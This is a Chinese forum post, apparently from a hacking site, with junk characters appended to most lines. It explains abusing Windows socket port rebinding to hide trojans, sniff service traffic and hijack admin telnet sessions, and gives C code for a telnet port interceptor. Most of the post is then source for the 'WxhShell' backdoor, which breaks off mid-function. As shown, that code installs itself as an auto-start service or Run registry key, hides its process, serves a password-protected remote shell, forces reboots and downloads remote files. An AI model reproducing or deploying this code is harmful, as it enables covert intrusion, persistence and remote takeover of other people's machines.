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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )j)y5_m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >vNk kxWyQ  
y&KoL\  
  saddr.sin_family = AF_INET; tIgCF?  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); M4L~bK   
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s~IA},F,\  
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  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g(z#h$@S  
Q}k_#w  
  这意味着什么?意味着可以进行如下的攻击: 7k[`]:*o  
dd @COP?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +w_MSj#P  
J"a2 @S&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8 H$@Xts  
kOlI?wc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4`EvEv$i  
 CU7iva  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  j|VlHDqR  
eX]9m Q]E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,&O:/|c E  
MFCbx>#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 pXh^M{.  
2yQ;lQ`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :*w:eKk  
i&SBW0)  
  #include [h2p8i 'o  
  #include " N`V*0h  
  #include 8m1 3M5r  
  #include    l yLK$B?/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JXI+k.fi  
  int main() S3JygN*  
  { {) '" k6w  
  WORD wVersionRequested; ~n]2)>6  
  DWORD ret; 5e~{7{  
  WSADATA wsaData; <}x|@u  
  BOOL val; a\HtxR8L  
  SOCKADDR_IN saddr; ?-6x]l=]  
  SOCKADDR_IN scaddr; O}\"$n>  
  int err; 4)>\rqF+v  
  SOCKET s; %]= 'Uv^x  
  SOCKET sc; 2Yg[8Tm#  
  int caddsize; bQ:3G;  
  HANDLE mt; w1!\L_::Y  
  DWORD tid;   q5K/+N^2?  
  wVersionRequested = MAKEWORD( 2, 2 ); )u v$tnP*  
  err = WSAStartup( wVersionRequested, &wsaData ); (w7cdqe  
  if ( err != 0 ) { '=G<)z@k  
  printf("error!WSAStartup failed!\n"); ~)\1g0  
  return -1; -fZShOBY`  
  } f^yLwRUD  
  saddr.sin_family = AF_INET; kosJ]q'U  
   O.40^u~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 IB]VPj5  
&V,-W0T_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4 *2>R8SX~  
  saddr.sin_port = htons(23); TQxc?o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /\Y%DpG$  
  { yKk,);  
  printf("error!socket failed!\n"); G4`sRaT.  
  return -1; p=P0$P+KM  
  } m#}{"d&J  
  val = TRUE; GT`<jzAiQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .qU%SmQ^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #lVl?F+~  
  { bU +eJU_%  
  printf("error!setsockopt failed!\n"); ~6kA<(x   
  return -1; pQm!Bt L  
  } ]C:Ifh~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -r2qIt  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }JTgj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .^+$w $  
2W-NCE%K)T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^}pREe c=  
  { >A@D;vx  
  ret=GetLastError(); >~bj7M6t  
  printf("error!bind failed!\n"); bJMcI8`  
  return -1; ST [1'T+L  
  }  #,9TJ:~N  
  listen(s,2); o4 OEA)k)=  
  while(1) Y Z2VP  
  { x[uXD  
  caddsize = sizeof(scaddr); kk7: A0._  
  //接受连接请求 ~X(xa  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !{ )AV/\D  
  if(sc!=INVALID_SOCKET) k^%ec3l  
  {  ,8 NEnB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W2LblZE!  
  if(mt==NULL) kx#L<   
  { 3*23+}^G  
  printf("Thread Creat Failed!\n"); 7~9f rW<K  
  break; )aA9z(x  
  } ob5nk ^y  
  } ~E|V{z%  
  CloseHandle(mt); :H8L(BsI  
  } g[+Q~/yq  
  closesocket(s); /F9lW}pd  
  WSACleanup(); 7wEG<,D  
  return 0; D\&y(=fzf  
  }   WMl^XZO  
  DWORD WINAPI ClientThread(LPVOID lpParam) /Gv$1t^a  
  { HnY"6gTNK  
  SOCKET ss = (SOCKET)lpParam; DczF0Ow  
  SOCKET sc; ]mT} \b  
  unsigned char buf[4096]; A =#-u&l  
  SOCKADDR_IN saddr; ?{P6AF-xcf  
  long num; 4W-+k  
  DWORD val; 1E_Ui1[  
  DWORD ret; g~D6.OZU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8t \>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A|OC?NZY  
  saddr.sin_family = AF_INET; b1^Yxe#L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^ nZ2p$  
  saddr.sin_port = htons(23); Sg~A'dG  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zi[M{bm  
  { oi4Wxcj  
  printf("error!socket failed!\n"); _Vf|F  
  return -1; 0!\q  
  } 7Cp_ 41._  
  val = 100; ^aWNtY' :  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nL20}"$E  
  { O;t?@!_  
  ret = GetLastError(); 9+Hb`  
  return -1; To? bp4  
  } a-2 {x2O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zW`koRH@  
  { (uc)^lfX  
  ret = GetLastError(); n k3lC/f  
  return -1; g'7hc~=  
  } { 4{{;   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RYaof W  
  { |Cq J2  
  printf("error!socket connect failed!\n"); eH*b -H[  
  closesocket(sc); 2![W N*N>O  
  closesocket(ss); &bK$!8Z  
  return -1; 7V``f:#d  
  } FQ1oqqr  
  while(1) ,]qX_`qF  
  { .g?,:$`0D?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nQ3goVRFP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 WN1-J(x6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C P v}A  
  num = recv(ss,buf,4096,0); 4ux5G`oL  
  if(num>0) x^skoz  
  send(sc,buf,num,0); oF^hq-xcP  
  else if(num==0) ,lM2BXz%  
  break; `I{Q,HQ7  
  num = recv(sc,buf,4096,0); c)fp;^  
  if(num>0) vBnHG-5;P  
  send(ss,buf,num,0); 6u;(R0n  
  else if(num==0) 0Ch._~Q+20  
  break; n9-[z2n  
  } gP%!  
  closesocket(ss); @!O{>`  
  closesocket(sc); Z"T(8>c;g  
  return 0 ; r0bPaAKw  
  } T bWZw  
Isb^~c_P  
2MeavTr  
========================================================== - Sgp,"a  
rcT<OiYuig  
下边附上一个代码,,WXhSHELL TvwIro  
Z`t?kXDNoI  
========================================================== 1=.kH[R  
6LQO>k  
#include "stdafx.h" ZfikNQU9r  
C;>Ll~f_  
#include <stdio.h> RtL'fd  
#include <string.h> _3[BS9  
#include <windows.h> ^4NH.q{  
#include <winsock2.h> qNL~m'  
#include <winsvc.h> j-|0&X1C  
#include <urlmon.h> zSCPp6  
XS/TYdXB8  
#pragma comment (lib, "Ws2_32.lib") s$6#3%h  
#pragma comment (lib, "urlmon.lib") ZW%`G@d"H-  
DL_\luh  
#define MAX_USER   100 // 最大客户端连接数 V1;-5L75  
#define BUF_SOCK   200 // sock buffer 2jC\yY |PN  
#define KEY_BUFF   255 // 输入 buffer WE]^w3n9  
&N;6G`3  
#define REBOOT     0   // 重启 k0?6.[ku  
#define SHUTDOWN   1   // 关机 4iW 2hV@m  
[_@OCiV5)  
#define DEF_PORT   5000 // 监听端口 *[n^6)  
a-y5\x  
#define REG_LEN     16   // 注册表键长度 *JXJ 2  
#define SVC_LEN     80   // NT服务名长度 P s;:g0  
k 3XtKPO  
// 从dll定义API g2q=&eI"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =p6xc}N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VRt*!v<")  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c qp#1oM4M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  ]plC  
RoZV6U~  
// wxhshell配置信息 JM%#L*;  
struct WSCFG { +dv@N3GV  
  int ws_port;         // 监听端口 $ 1ZY Vw  
  char ws_passstr[REG_LEN]; // 口令 ]"6<"1)  
  int ws_autoins;       // 安装标记, 1=yes 0=no gId+hxFa:r  
  char ws_regname[REG_LEN]; // 注册表键名 cpVi9]  
  char ws_svcname[REG_LEN]; // 服务名 }JsdgO&z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l!,{bOZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *Rd&4XG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,L G&sa"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y"ck;OQD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p3'+"sFU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &EOh}O<  
d]]qy  
}; OLwxGRYX  
a{W-+t   
// default Wxhshell configuration qT4s* kqr  
struct WSCFG wscfg={DEF_PORT, rge/jE,^~Z  
    "xuhuanlingzhe", %*nZ,r  
    1, y]_DW6W  
    "Wxhshell", yNL71>w4  
    "Wxhshell", Sj ?'T@  
            "WxhShell Service", 4KnDXQ%  
    "Wrsky Windows CmdShell Service", ,+&j/0U  
    "Please Input Your Password: ", L?fv5 S3  
  1, !w Bmf&=  
  "http://www.wrsky.com/wxhshell.exe", .$iIr:Tc>  
  "Wxhshell.exe" U|nk8 6r  
    }; i}19$x.D`  
,R+u%bmn#  
// 消息定义模块 ($kwlj~c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1F|+4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UsTPNQj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /rW{rf^  
char *msg_ws_ext="\n\rExit."; 9D,& )6  
char *msg_ws_end="\n\rQuit."; Up&q#vqIj  
char *msg_ws_boot="\n\rReboot..."; TfPx   
char *msg_ws_poff="\n\rShutdown..."; MR}\fw$(.  
char *msg_ws_down="\n\rSave to "; Kf.b <wP{  
6X7_QBC)  
char *msg_ws_err="\n\rErr!"; %}[??R0  
char *msg_ws_ok="\n\rOK!"; V|)>  
$u :=lA:N  
char ExeFile[MAX_PATH]; /L.a:Er$  
int nUser = 0; F@BNSs N=  
HANDLE handles[MAX_USER]; ZE^de(Fm  
int OsIsNt; p98lu'?@  
@j6D#./7j  
SERVICE_STATUS       serviceStatus; ~a$% a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xph60T  
)zN )7  
// 函数声明 ,l6W|p?ZO^  
int Install(void); d\v _!7  
int Uninstall(void); r!S iR(  
int DownloadFile(char *sURL, SOCKET wsh); 5h1j.t!  
int Boot(int flag); w9%gaK;  
void HideProc(void); ,#G@ri:B  
int GetOsVer(void); Z=|@76  
int Wxhshell(SOCKET wsl); _OY;SJ(  
void TalkWithClient(void *cs); 5IMH G%W7  
int CmdShell(SOCKET sock); E !8y|_(j  
int StartFromService(void); NmQ]qv  
int StartWxhshell(LPSTR lpCmdLine); 9O"?T7i"#  
 J{y@ O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C N"c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G\Me%{b#  
r2G<::<zL  
// 数据结构和表定义 Ij+zR>P8=\  
SERVICE_TABLE_ENTRY DispatchTable[] = Ut+mm\7  
{ }5k"aCno  
{wscfg.ws_svcname, NTServiceMain}, $sJn: 8z  
{NULL, NULL} { at; U@o  
}; /y0 )r.R  
[>-k(D5D  
// 自我安装 HZT;7<  
int Install(void) $spf=t"nh  
{ uMI2Wnnc:/  
  char svExeFile[MAX_PATH]; j!s&yHE1  
  HKEY key; F,sT[C  
  strcpy(svExeFile,ExeFile); ?vVkZsU  
,"'agg:St  
// 如果是win9x系统,修改注册表设为自启动 6]Jv3Re'(I  
if(!OsIsNt) { "#7i-?=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;Y"J j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ol? 2Qy.2)  
  RegCloseKey(key); .#n?^73  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?]t8$^m,;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V/Q6v YX  
  RegCloseKey(key); /a q%l]hQ@  
  return 0; vZ08/!n  
    } 4Z_.Jdu w  
  } >b?,zWiw  
} ^{s)`j'I*  
else {  lcr=^  
)oj`K,#  
// 如果是NT以上系统,安装为系统服务 <n>< A+D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M(|gfsD  
if (schSCManager!=0) AKpux,@xB  
{ s+[=nau('w  
  SC_HANDLE schService = CreateService {t 7 M  
  ( O!g> f  
  schSCManager, :* 'i\  
  wscfg.ws_svcname, <fw[7=_)^  
  wscfg.ws_svcdisp, ql#K72s  
  SERVICE_ALL_ACCESS, h %nZKhm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !hq7R]TC+  
  SERVICE_AUTO_START, v zn/waw  
  SERVICE_ERROR_NORMAL, -b{*8(d<I  
  svExeFile, 8{ep`$(K@  
  NULL, O/k4W#  
  NULL, )6(mf2&  
  NULL, ~_raI7,  
  NULL, /eI38>v  
  NULL /nrDU*  
  ); WFkXz*7B  
  if (schService!=0) Pwq} ;+  
  { OD i)#  
  CloseServiceHandle(schService); {M$1?j"7  
  CloseServiceHandle(schSCManager); ; etH)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O^f@ g l  
  strcat(svExeFile,wscfg.ws_svcname); TC2aD&cw{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5}m2D='  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8]Pf:_e,+  
  RegCloseKey(key); '1w<<?vX?  
  return 0; ~7ArH9k .  
    } xH=&={  
  } >$?Z&7Lv  
  CloseServiceHandle(schSCManager); L+,{*Uj[;  
} WMg#pLc#  
} R+m{nO~r  
0QGl'u{F  
return 1;  *) wp  
} Xbz}pAnj  
&L/ C:<.  
// 自我卸载 [p <L*3<  
int Uninstall(void) GL/\uq  
{ y|@^0]}%<  
  HKEY key; H(pOR< `  
0trFLX  
if(!OsIsNt) { ';1 c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q%JV"9,  
  RegDeleteValue(key,wscfg.ws_regname); YFW+l~[#  
  RegCloseKey(key); MVdE7P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7DI8r|~  
  RegDeleteValue(key,wscfg.ws_regname);  E5o0^^  
  RegCloseKey(key); P`"dj@1'  
  return 0; 9@h>_1RJz  
  } 0nv3JX^l]  
} G q 8/xxt  
} nK:39D$(  
else { 2Two|E  
mV;7SBoT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B^6P 6,  
if (schSCManager!=0) 2<y -cQ?>  
{ Yux7kD\c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (s9?#t6  
  if (schService!=0) 46 77uy  
  { S`J_}>  
  if(DeleteService(schService)!=0) { BFMM6-Ve  
  CloseServiceHandle(schService);  V C.r  
  CloseServiceHandle(schSCManager); nZ{~@E2  
  return 0; MM97$  
  } v!x=fjr<  
  CloseServiceHandle(schService); vv3dr_l:  
  } C6Kz6_DQZ  
  CloseServiceHandle(schSCManager); i P/I% D  
} *kDXx&7B$  
} uZqo"  
x$Lt?'  
return 1; qOng?(I  
} /kn t5  
xUG|@xIwc  
// 从指定url下载文件 =U^B,q  
int DownloadFile(char *sURL, SOCKET wsh) LIR2B"3F  
{ .M_;mhRI  
  HRESULT hr; ~zuMX ;[  
char seps[]= "/"; &Zf@vD  
char *token; ^@6eN]  
char *file; s6qe5[  
char myURL[MAX_PATH];  1 ft. ZJ  
char myFILE[MAX_PATH]; 5Wn6a$^  
i G<|3I  
strcpy(myURL,sURL); js>6Du  
  token=strtok(myURL,seps); M]6=Rxq1:E  
  while(token!=NULL) [rQ#skf  
  { |C5i3?  
    file=token; !x,3k\M  
  token=strtok(NULL,seps); MxCs0::w  
  } yX8F^iv[  
YN\ QwV  
GetCurrentDirectory(MAX_PATH,myFILE); !{SEm"J^  
strcat(myFILE, "\\"); $CXqkK<6  
strcat(myFILE, file); s_RYYaM  
  send(wsh,myFILE,strlen(myFILE),0); $+?6U  
send(wsh,"...",3,0); 0|HhA,u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D]4?UL  
  if(hr==S_OK) #M_QSD}&  
return 0; <,LeFy\zW  
else atPf527\`  
return 1; .fZv H  
bi,%QZZ  
} uH]^/'8vBd  
z`TI<B  
// 系统电源模块 GA;E (a  
int Boot(int flag) |ejrE,~1vb  
{ ~)()PO  
  HANDLE hToken; )hn,rmn (P  
  TOKEN_PRIVILEGES tkp; !'+t)h9^  
)`g[k" yB3  
  if(OsIsNt) { &*0!${ B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); of(Nq@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hzPpw.  
    tkp.PrivilegeCount = 1; hR. EZ|.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PUa~Apj '  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |=7%Edkd  
if(flag==REBOOT) { #'"h+[XY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^%\p; yhL  
  return 0; RI%* 5lM8;  
} P~?u2,.E[  
else { #ReW#?P%b/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =r GkM.^  
  return 0; YXBS!89m  
} |px4a"  
  } ;1"K79  
  else { >0512_J+  
if(flag==REBOOT) { T nPC\.x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .&* Tj}p  
  return 0; KnbP@!+c  
} gg6&Fzp  
else { Qy15TJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =lVfrna  
  return 0; b cOX/  
} rPQ$e!m1Ee  
} F@?QVdY1q7  
+ J_W}G  
return 1; ]ImS@!Ajjx  
} F*Qw%  
5ptbz<Xv  
// win9x进程隐藏模块 {5*+  
void HideProc(void) `5x,N%9{  
{ <01MXT-  
a z`5{hK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q,jlKgB 5:  
  if ( hKernel != NULL ) w$2-t  
  { \2~.r/`1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O1/!)E!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @^`-VF  
    FreeLibrary(hKernel); /ZD/!YD&R  
  } ay4|N!ExO  
5nEvnnx0  
return; slw^BK3t  
} \)r#?qn4z;  
Y/{Z`}  
// 获取操作系统版本 6#dx%TC  
int GetOsVer(void) .}j@(D  
{ \QHM7C T  
  OSVERSIONINFO winfo; jQf1h|e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J| 3CG;+  
  GetVersionEx(&winfo); bEPXNN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s'/ug  
  return 1; 64zO%F*  
  else D4`7,JC}<  
  return 0;  vlE#z  
} $|A vT;4  
O:D`6U+0  
// 客户端句柄模块 ULsz<Hj  
int Wxhshell(SOCKET wsl) ~PS%^zxyn  
{ Oi7:J> [  
  SOCKET wsh; M8 ++JI  
  struct sockaddr_in client; F2+lwycY  
  DWORD myID; NH|v`rO  
ysvn*9h+&  
  while(nUser<MAX_USER) >2N` l  
{ <$ '#@jW  
  int nSize=sizeof(client); b}[{'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !a1jc_  
  if(wsh==INVALID_SOCKET) return 1; ]%NCKOM  
`t#C0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3{,Mpb@  
if(handles[nUser]==0) sp AYb<  
  closesocket(wsh); c*LnLK/m  
else _*&<hAZj  
  nUser++; qB"y'UW8  
  } i"_JF-IbN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r\L:JTZ$  
0z\=uQ0  
  return 0; 23+>K  
} )v'3pTs2  
6 0QElJ9D  
// 关闭 socket tjYe82  
void CloseIt(SOCKET wsh) ~*G I<n  
{ BXm{x6\  
closesocket(wsh); Be?mIwc_g  
nUser--; ,P5HR+h  
ExitThread(0); yUBic~S  
} <sd Qvlx$-  
XMuZ 'I  
// 客户端请求句柄 im*XS@Uj  
void TalkWithClient(void *cs) s2&UeYbIs  
{ arDY@o~  
{jr>Z"/q  
  SOCKET wsh=(SOCKET)cs; w)3LYF  
  char pwd[SVC_LEN]; BXLhi(.s  
  char cmd[KEY_BUFF]; |nMbf  
char chr[1]; j^:\a\-1  
int i,j; 3",6 E(  
ISOPKZ#F  
  while (nUser < MAX_USER) { %K?~$;Z.  
cjH ~H8  
if(wscfg.ws_passstr) { ijC;"j/(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OB5{EILej  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  M3u[E  
  //ZeroMemory(pwd,KEY_BUFF); 0(0Ep(Vj  
      i=0; bQ_i&t\yzB  
  while(i<SVC_LEN) { Fa@#nY|UV3  
&a1agi7M  
  // 设置超时 A@&+!sO  
  fd_set FdRead; 8=t?rA  
  struct timeval TimeOut; A9F&XF7{  
  FD_ZERO(&FdRead); &>sG x K  
  FD_SET(wsh,&FdRead); Jtc?p{  
  TimeOut.tv_sec=8; h]G }E9\l  
  TimeOut.tv_usec=0; vFy /  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cLJ|VD7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;`@DQvVZ:  
W@/D2K(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wG19NX(  
  pwd=chr[0]; 4W$53LP8  
  if(chr[0]==0xd || chr[0]==0xa) { i_f"?X;D  
  pwd=0; >>K) 4HYID  
  break; yBq4~b~[  
  } P0UMMn\-#  
  i++; awo=%vJ&  
    } b(K.p?bt  
3{~h Rd  
  // 如果是非法用户,关闭 socket nL@P {,J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hg=\L5R  
} _d)w, ;m#  
&`t-[5O\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "'s`?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B.|2w  
C$M^<z  
while(1) { '$l*FWOEal  
(w@|:0t^y[  
  ZeroMemory(cmd,KEY_BUFF); d$b{KyUA  
Yb414K  
      // 自动支持客户端 telnet标准   'j>^L  
  j=0; 90teXxg=|  
  while(j<KEY_BUFF) { {/ZB>l@D>8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PDM>6U  
  cmd[j]=chr[0]; 69\0$O  
  if(chr[0]==0xa || chr[0]==0xd) { !=I:Uc-Y  
  cmd[j]=0; pO=bcs8Z  
  break; 0nG& LL5  
  } />)>~_-3  
  j++;  LBw,tP  
    } v]Pw]m5=U  
}evc]?1(  
  // 下载文件 In:h%4>  
  if(strstr(cmd,"http://")) { o %Pi;8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >8 VfijK  
  if(DownloadFile(cmd,wsh)) \ssuO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Cbht\Ag"  
  else +oe ~j\=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B<LQ;n+  
  } .|x0du|  
  else { b< Pjmb+  
sRt|G  
    switch(cmd[0]) { *s;$`8fM<  
  024*IoVZ  
  // 帮助 c$@,*c 0n  
  case '?': { nr-VzF7zu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !>gc!8Y'o  
    break; !W n'Ae9  
  } }me]?en_Ra  
  // 安装 irgjq/&d  
  case 'i': { Z/:( *FC  
    if(Install()) !(l,+@j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ojtcKw  
    else ?AYI   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k:`^KtBMl  
    break; /8J2,8vZ  
    } SJIJV6}H  
  // 卸载 $(#o)r>_R  
  case 'r': { .oAg (@^6  
    if(Uninstall()) LP#CA^*S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4$SW~BpQ  
    else ]:m*7p\uk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z*jhSy  
    break; ely&'y!  
    } wp.'M?6`L  
  // 显示 wxhshell 所在路径 B=|yjA'Fg  
  case 'p': { PY)C=={p  
    char svExeFile[MAX_PATH]; si%f.A#  
    strcpy(svExeFile,"\n\r"); g)u2  
      strcat(svExeFile,ExeFile); Tb:n6a@  
        send(wsh,svExeFile,strlen(svExeFile),0); @b-?KH  
    break; 'xr\\Cd9s  
    } :mL\KQ  
  // 重启 $5%tGFh  
  case 'b': { !OC?3W:^_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \'BKI;  
    if(Boot(REBOOT)) qd!$nr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |;9OvR> A  
    else { 2!{CNt.-  
    closesocket(wsh); ^=.|\ YM  
    ExitThread(0); LvhF@%(9J  
    } 2*%0m^#^6  
    break; yd#4b`8U`  
    } r{p?aG  
  // 关机 B YNOgB1  
  case 'd': { )1lYfJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0`,a@Q4  
    if(Boot(SHUTDOWN)) pr@8PD2%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *N< 22w  
    else { o6Vc}jRH  
